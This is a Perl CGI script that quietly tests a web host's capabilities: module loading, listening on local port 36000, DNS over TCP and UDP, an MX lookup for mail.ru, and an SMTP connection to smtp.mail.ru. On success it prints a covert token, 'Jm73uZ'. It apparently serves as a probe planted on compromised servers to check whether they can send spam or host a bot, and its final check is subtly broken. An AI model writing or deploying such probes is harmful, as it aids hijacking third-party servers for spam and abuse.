#!/usr/bin/perl -w

	$| = 1;

	my $smtp = 'smtp.mail.ru';
	my $dns = '8.8.4.4';
	my $stricts;
	my $syshostname;
	my $posixq;
	my $errnoq;
	my $socketq;
	my $selectq;
	my $iosocetq;
	my $dnstcp;
	my $dnsudp;
	my $smtpclientq;

	print "Content-type: text/plain; charset=windows-1251\n\n" if $ENV{HTTP_USER_AGENT};

	#print "System info\n";
	#print "-----------\n\n";
	#print "$^O";
	#print "\n", `uname -a` if $^O !~ /win/i;
	#print "\n\n";

	#print "Perl modules\n";
	#print "------------\n\n";
	#print "strict .......................... ";
	unless (eval ("use strict; return 1;")) {
		 $stricts=0; 
	} 
	else {
		 $stricts=1; 
	}
	#print "\nSys::Hostname ................... ";
	unless (eval ("use Sys::Hostname; return 1;")) {
		 $syshostname=0; 
	} 
	else { 
		 $syshostname=1; 
	}
	#print "\nPOSIX ........................... ";
	unless (eval ("use POSIX qw(setsid); return 1;")) {
		 $posixq=0; 
	} 
	else { 
		 $posixq=1; 
	}
	#print "\nErrno ........................... ";
	unless (eval ("use Errno qw(EINPROGRESS); return 1;")) {
		 $errnoq=0; 
	} 
	else { 
		 $errnoq=1; 
	}
	#print "\nIO::Socket ...................... ";
	unless (eval ("use IO::Socket qw(:DEFAULT :crlf); return 1;")) {
		 $socketq=0; 
	} 
	else { 
		use IO::Socket qw(:DEFAULT :crlf); 
		 $socketq=1; 
	}
	#print "\nIO::Select ...................... ";
	unless (eval ("use IO::Select; return 1;")) {
		 $selectq=0; 
	} 
	else { 
		 $selectq=1; 
	}
	#print "\n\n";

	#print "Local server test\n";
	#print "-----------\n\n";
	my $s = IO::Socket::INET->new(Proto => "tcp", LocalPort => 36000, Listen => SOMAXCONN, Reuse => 1);
	unless ($s) {
		 $iosocetq=0; 
	} 
	else { 
		 close $s; 
		 $iosocetq=1; 
	}
	#print "\n\n";

	#print "DNS <TCP> client test ($dns)\n";
	#print "-----------\n\n";
	my ($r) = ((gethostbyname $dns)[4]);
	unless ($r) {
		 $dnstcp=0; 
		 exit; 
	}
	$s = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM);
	unless ($s) { 
		$dnstcp=0; 
		exit; 
	}
	$r = sockaddr_in(53, $r);
	unless ($s->connect($r)) {
		 close $s; 
		 $dnstcp=0; 
		 exit; 
	}
	close $s; 
	$dnstcp=1;
	#print "\n\n";

	#print "DNS <UDP> client test ($dns)\n";
	#print "-----------\n\n";
	$s = IO::Socket::INET->new(Proto=>'udp');
	unless ($s) {
		 $dnsudp =0; 
		 exit; 
	}
	my $b = pack ('nSn4', (int rand 65535), 0x1, 0x1, 0x0, 0x0, 0x0);
	foreach (split (/\./, "mxs.mail.ru")) { 
		$b .= pack ('C', length ($_)) . $_; 
	}
	$b .= pack ('Cn2', 0x0, 0xF, 0x1);
	$s->send($b, 0, $r);
	$b = "";
	my $t = IO::Select->new($s);
	if ($t->can_read(5)) {
		 $s->recv($b, 512); 
	} 
	else { 
		$dnsudp=0; 
		exit;
	}
	close $s; 
	$dnsudp=1;
	#print "\n\n";

	#print "SMTP Client test ($smtp)\n";
	#print "-----------\n\n";
	$r = (gethostbyname $smtp)[4];
	unless ($r) { 
		$smtpclientq=0; 
		exit; 
	}
	$s = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM);
	unless ($s) {
		 $smtpclientq=0; 
		 exit; 
	}
	$r = sockaddr_in(25, $r);
	unless ($s->connect($r)) {
		 close $s; 
		 $smtpclientq=0; 
		 exit; 
	}
	$r = <$s>; 
	close $s;
	if (length $r) { 
		$smtpclientq=1; 
	} 
	else { 
		$smtpclientq=0; 
	}
	
	#konec
	if ($stricts=1 && $syshostname=1 && $posixq=1 && $errnoq=1 && $socketq=1 && $selectq=1 && $iosocetq=1 && $dnstcp=1 && $dnsudp=1 && $smtpclientq=1){
		print "Jm73uZ";
       }
	#else{ print "No"; }